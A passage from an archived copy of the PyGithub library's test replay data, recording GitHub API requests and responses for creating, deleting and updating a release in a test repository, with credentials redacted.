login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4882'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bf7a015617e8f37f6b3bf648d54157fa"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:43:56 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E4F8:6856:5E9FEF:DED8B9:5F0D542D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530289","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530289/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530289/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530289,"node_id":"MDc6UmVsZWFzZTI4NTMwMjg5","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:43:56Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530289 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:57 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4881'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E4FE:0FDF:BFD2FB:14133BD:5F0D542D')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseModify.testDelete.txt0000644000175100001660000005525714756101563023566 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4880'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E50A:7C17:A53A04:11B29F6:5F0D542E')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4879'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E512:27D4:F89AD:2D4D18:5F0D542E')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4878'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E51A:0FDE:62444B:E61BD1:5F0D542E')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4877'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"567518b2306de2c7a9e69072602dc3fe"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/453df05a79ef67f0746c7cf7191fb91f16b45dab'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E522:522C:2DAAA9:7E9494:5F0D542F')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjQ1M2RmMDVhNzllZjY3ZjA3NDZjN2NmNzE5MWZiOTFmMTZiNDVkYWI=","sha":"453df05a79ef67f0746c7cf7191fb91f16b45dab","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/453df05a79ef67f0746c7cf7191fb91f16b45dab","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:43:59Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4876'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"f001fd9d82e0021f1e8963f05457a1b1"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530290'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E52C:15D3:327560:8375AC:5F0D542F')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530290","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530290/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530290/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530290,"node_id":"MDc6UmVsZWFzZTI4NTMwMjkw","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:00Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530290 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:00 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4875'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E536:457A:ABFF96:12054CE:5F0D5430')] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530290 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4874'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E540:53F9:9C3DCB:10EB62E:5F0D5430')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/releases/#get-a-single-release"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseModify.testUpdate.txt0000644000175100001660000007611714756101563023604 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4873'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E562:5163:B4C789:1333F5F:5F0D5432')] 